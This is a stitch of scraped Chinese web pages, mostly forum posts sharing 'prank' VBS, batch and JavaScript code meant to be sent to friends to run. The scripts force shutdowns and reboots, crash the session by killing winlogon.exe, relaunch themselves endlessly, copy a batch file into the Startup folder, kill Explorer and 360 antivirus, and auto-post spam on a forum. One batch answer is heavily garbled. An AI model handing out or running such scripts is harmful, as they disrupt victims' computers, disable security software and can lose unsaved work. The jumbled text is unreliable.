Google Facebook YouTube Twitter 科学上网
为你简单讲述电脑的世界，从零到电脑高手...
查看: 1619|回复: 13
【5B5L|Limlu讲堂 】好玩的vbs整人代码，，，，
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
VBS也可以用来整人？对，可以。不爽时用此代码做成一个小程序，让对方运行。。。。。。
制作方法：
打开记事本：
输入代码：msgbox&SB&
保存（一定要存为VBS格式！）：
帖子永久地址：&<button type="submit" class="pn" onclick="setCopy('【5B5L|Limlu讲堂 】好玩的vbs整人代码，，，，\n/thread-.html', '帖子地址已经复制到剪贴板您可以用快捷键 Ctrl + V 粘贴到 QQ、MSN 里。')">推荐给好友无不无聊 - 版权申明除非特殊注明，本文版权归原作者所有，欢迎转载！转载请注明版权以及本文地址，谢谢。
本文出处： >>
本文地址：
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
上图！！！
(28.97 KB, 下载次数: 2)
20:27 上传
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
保存，，，，应该看得懂，，，
(90.08 KB, 下载次数: 2)
20:29 上传
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
结果。。。。。
(9.88 KB, 下载次数: 0)
20:29 上传
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
怎么样，不错吧？下面放几个代码，以便后用：
msgbox &hi&
=========================
if MsgBox(&对不起,您灌水太多需要重新启动计算机。&&chr(10)&&确定要重启吗？&,vbOKCancel+vbInformation,&重新启动计算机&)=vbCancel then
msgbox & 系统将立刻重起wow ~_^&,,&你上当了！！&
Set objShell = CreateObject(&Wscript.Shell&)
objShell.Run &shutdown -s -t 5&,,true
==============================
（注意，下面的代码仅针对NT、2000、XP等系统）
==============================
if MsgBox(&你是猪头吗？&,vbYesNo,&提示&)=vbyes then
msgbox &你SB啊!&
msgbox &还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?&,64,&严重警告!!!!!!!!!&
Set ws = CreateObject(&Wscript.Shell&)
wscript.sleep 1200
ws.run &cmd /c start /min ntsd -c q -pn winlogon.exe 1&nul 2&nul&,vbhide
============================
（最厉害的一个）
createobject(&wscript.shell&).run chr(34) & wscript.scriptname & chr(34)
============================
msgbox&你是不是很无聊啊？&,4
msgbox&我来陪你玩会儿&
msgbox&做好玩儿的准备吧！&
msgbox&你无聊吗?&,vbinformation,&你无聊吗？&
===========================
msgbox&此文件无毒，请放心使用。&,vbretrycancel,&系统提示。&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.Run &cmd.exe /c shutdown -s -t 300&
wscript.sleep 2000
a=inputbox(&输入abc，否则关机。&)
if a=&abc& then
msgbox& 很遗憾，你中招了，这是整人程序，你就等着关机吧！&
msgbox&乖点，输入abc&
===========================
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(&wscript.shell&)
WSHshellA.run &cmd.exe /c shutdown -r -t 6 -c &&说我是猪，不说我是猪就一分钟关你机，不信，试试···&& &,0 ,true
do while(a && &我是猪&)
a = inputbox (&说我是猪,就不关机，快撒，说 &&我是猪&& &,&说不说&,&不说&,)
msgbox &乖&
msgbox &早说就行了嘛&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.run &cmd.exe /c shutdown -a&,0 ,true
msgbox &自己骂自己的不要脸~~~~~~&,4, & &
============================
set ws=createobject(&wscript.shell&)
ws.sendkeys &{f5}&
=============================
set wmp=createobject(&wmplayer.ocx&)
set cd=wmp.cdromcollection.item(0)
==============================
on error resume next
msgbox&即将格式化！请做好准备！&,vbyesno
msgbox&准备好后点yes！&，vbyesno
msgbox&sorry，忘说了，点no也行！&
msgbox&我对不起你啊！呜呜呜555哈哈哈哈！&
msgbox&靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。&
msgbox&被人研究！&
msgbox&就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！&
msgbox&你咋还笑？！是时候惩罚你了！&
set ws=createobjecet(&wscript.shell&)
ws.run&explorer.exe&
ws.run&cmd.exe&
ws.run&cmd.exe /c shutdown -s -t 7200&,,ture
暂时就这么多，谁有可以接着发。
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
忘了，，，
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
保存后，，，
(98.46 KB, 下载次数: 0)
20:34 上传
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
右键vbs可以用记事本编辑，，，说到这儿顺便提一句windows 自带的记事本的确是一款强大的文本编辑器，，，，
TA的每日心情衰 19:38签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
& & 如果想深入学习的话可以参考这个。。。
TA的每日心情擦汗 16:56签到天数: 57 天连续签到: 1 天[LV.5]常住居民I
窗口好像关不掉了······
注册登录无不无聊 |
Powered bybat整人代码_百度知道
bat整人代码
求一个详细一些的整人代码，要让电脑有自动关机之类的，但没有伤害。
提问者采纳
0.1 /n 4 &gt.0.0;n 4 &gt..0;nulecho 0;n 4 &n 4 &n 120 &nulecho 请一直按住 Enter 键taskkill &#47.0;nulecho 0.0.1 &#47.0!echo.0.1 &#47.0;n 4 &nulecho 给你加几个吧.0;n 4 &gt.0;d)start explorer.1 &#47: /nulecho 看你的磁盘好少.0..0.echo 正在移除E盘……ping 127;nulecho 真正的游戏开始了……taskkill /n 4 &gt.1 /n 4 &gt?ping 127.25ping 127.0.0.0.0.exeping 127..1 /电脑马上就要关机;s &#47.0.for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i.1 &#47!ping 127..0.13ping 127..0.1 &#47.1 &#47.0;n 4 &gt.1 &#47.0!echo.0;nulecho 我会那么善良吗;n 4 &n 4 &gt.0.49ping 127;c &quot.0，请稍后……n 28 &gt，看看你的电脑;n 4 &gt.@echo offshutdown /nulecho 正在移除D盘……echo.exeping 127;nulecho 不会ping 127.1 /im 360n 4 &gt.1 &#47.!&quot.1 &#47.01ping 127;n 4 &gt，好玩的在后面..0.0，怪可怜的……echo!echo 你中招了;nulecho 0.echo 我会那么善良吗;nulecho 0:&#92.echo 呵呵开玩笑的.ping 127;n 4 &gt.0.echo 正在移除C盘……echo.1 /n 4 &gt.0.0;nulecho 逗你玩的.0;系统关键文件被删除导致崩溃;im explorer.1 &#47.69ping 127;c &quot.0.1 &#47.1 &#47.ping 127.echo 正在恢复F盘……ping 127.0.exeping 127.0;nulecho 给你两分钟时间!echo 处理器异常.0;nulshutdown -aecho 你上当了;t 120 &#47.echo 正在恢复D盘……ping 127;n 120 &gt.ping 127.ping 127!ping 127.;nulecho 哈哈;n 4 &nulecho 正在一键重装中;nulecho 重装已完成;nulecho 正在恢复C盘……echo.ping 127.0.1 /n 4 &n 15 &gt!ping 127.0.0.1 &#47.0;n 4 &n 4 &gt.1 /n 4 &nulecho 不会的……echo!echo.0.0.0;nulecho.exeshutdown &#47.1 &#47.echo 0;n 4 &gt.0.0.0;nulecho loadingping 127;n 4 &gt.0.1 /nul@echo offfor %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i.0！ping 127.ping 127!ping 127!ping 127.0.89ping 127.0;n 4 &gt.0.1 &#47.;f &#47.0.0;s &#47,吓唬吓唬你.0.1 &#47.1 &#47!nulecho 会发生什么呢.0;nulecho F盘先给你留着吧.0?ping 127.1 &#47.0;n 10 &gt.1 /n 4 &gt!系统将在30秒后关机&nulecho 恢复已完成ping 127.1 /nulecho 呵呵……n 4 &gt.0.0.1 &#47.0.0.1 &#47..0;t 30 &#47.0，现在恢复所有程序Loading?ping 127;f &#47.0;ping 127.;nulecho 0.1 /ping 127.0.1 /n 4 &gt: C!echo,吓唬吓唬你;)nulecho 也是吓唬你的;nulecho 看过了吗.0.1 &#47.99ping 127;nulshutdown -aecho 你上当了;nulecho 0;n 4 &gt@ color 1f @echo offtitle 最好别关本程序否则后果自负;nulecho 正在恢复E盘……echo.0
提问者评价
其他类似问题
为您推荐：
您可能关注的推广
bat的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁谁会制作QQ整人使人关机的文件 恶搞好友专用哦（整人恶意代码程序）
该帖被浏览& 15,602&次，回复&20&次
谁会制作QQ整人使人关机的文件 恶搞好友专用哦（整人恶意代码程序）
分享到：&&
不会...顺便BS下LZ
QQ:加我发给你
QQ整人使人关机的文件 恶搞好友专用哦 - 记住别太过咯,尽量发给自己的好友,嘿嘿,要不别人会跟你急的!
文本代码如下（新建一个文本档就可以了）
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(&wscript.shell&)
WSHshellA.run &cmd.exe /c shutdown -r -t 60 -c &&说我是猪，不说我是猪就一分钟关你机，不信，试试???&& &,0 ,true
do while(a
直接建个文本文档
输入shutdown -s -f -t&&（延迟关机时间）
然后改成。bat格式就行
不要看了就走，这样我们会没动力的
我这里有很多整人的方法！呵呵！
参考资料： /forum-117-1.html
if exist New.bat copy &New.bat& &C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\New.bat&
for %%a in (c d e f g h) do (
for /f %%b in ('dir /s /b &%%a:\QQ.exe&') do (
tasklist|findstr /i &1.exe& || start %%b
at echo ^G^G^G^G^G^G
回复1楼&#160;阅妞无数&#160;&#160;的帖子
填写显示名：
4到16个字符：中文，英文小写字母，数字或下划线
电话：010-　　欢迎批评指正
Copyright &
SINA Corporation, All Rights Reserved
新浪公司　共有9篇贴子 为了证明我是个聪明人,我教大家破解那个整人代码吧_火影忍者吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名：今日本吧第个签到，本吧因你更精彩，明天继续来努力！
本吧签到人数：0可签7级以上的吧50个
本月漏签0次！成为超级会员，赠送8张补签卡连续签到：天&&累计签到：天超级会员单次开通12个月以上，赠送连续签到卡3张
关注：3,544,805贴子：
共有9篇贴子 为了证明我是个聪明人,我教大家破解那个整人代码吧
我也不懂代码,但是这个稍微仔细一看,其实很简单,原代码:javascript:var c=rich_postor._getData();c.content='\u697c\u4e3b\u662F\u\u\u\uB\u\u\u\uB';for(var i=1;i&=12;i++){PostHandler.post(rich_postor._option.url,c,function(I){rich_postor.showAddResult(I)},function(I){});};void 0content后面是ASCII码,但是 x是sb 只有四个字,代码却有18段,怎么回事呢仔细想想就知道了,sb两个字是和谐词,只能用unicode编码来回,刚好unicode编码里面一个汉字对应8个字符,8乘2加上 我是 两个字,正好18个想明白这个之后,你要做的只是把你想说的转换一下,然后 替换 ....
小伙伴咋们一起好好玩耍...
我有9999个亿，中国有13...
渣渣武器镇楼
你想到了什么？二楼是图
最近不少说诸葛的帖子，...
特地开个贴来记录我的狼...
一元一瓶汽水，两个空瓶...
. .说到汉化，欢迎关注3...
内&&容:使用签名档&&
保存至快速回贴超搞笑整人的qq空间留言代码：还有一头猪正在看留言_个性留言_祝福短信网
&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&
最新公告：
&&没有公告
您现在的位置：&&>>&&>>&&>>&正文
超搞笑整人的qq空间留言代码：还有一头猪正在看留言
&&&热&荐&&★★★
超搞笑整人的qq空间留言代码：还有一头猪正在看留言
作者：佚名
文章来源：
更新时间： 15:49:12
[M][ft=#ee1d24,,][/ft] [ft=#fff100,,][/ft] [ft=#8fc63d,,][/ft] [ft=#00bff3,,][/ft] [ft=#652c91,,][/ft] [ft=#fce0e2,,][/ft] [ft=#ee1d24,,][/ft] [ft=#fff100,,][/ft] [ft=#8fc63d,,][/ft] [ft=#00bff3,,][/ft] [ft=#652c91,,][/ft] [ft=#fce0e2,,][/ft] [ft=#ee1d24,,][/ft] [ft=#fff100,,][/ft] [ft=#8fc63d,,][/ft] [ft=#00bff3,,][/ft] [ft=#652c91,,][/ft] [ft=#fce0e2,,][/ft]
&[B][em]e7[/em][em]e7[/em][em]e7[/em] [ft=,,][ft=#00aeef,,]小[/ft][ft=#ef6ea8,,]笨[/ft][ft=#fff100,,]要[/ft][ft=#00a650,,]100[/ft][ft=#f68e54,,]头[/ft][ft=#ed008c,,]猪
[/ft]，[U]小贝[/U]只[ft=#00aeef,,]带了[/ft][ft=#ef6ea8,,]99[/ft][ft=#8fc63d,,]头
[/ft][/ft] [ft=,,][ft=#fff100,,]小笨说[/ft]：&[U][ft=#f7941d,,]还有1头猪呢[/ft][/U]？
&[/ft] [ft=,,][ft=#00aeef,,]小贝说[/ft]：&[ft=#f7941d,,]还有1头正在看留言呢[/ft]！&
&[/ft][ft=,,][em]e33[/em]&& [em]e33[/em]&&& [em]e33[/em]&&& [em]e33[/em]&&& [em]e33[/em] [/ft][/B][/M][/quote]
[R][fts=2]『[url=/Article4]更多留言代码[/url]』[/ft][/R]
留言录入：admin&&&&责任编辑：admin&
上一篇留言： 下一篇留言：
【字体： 】【】【】【】【】【】
　　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）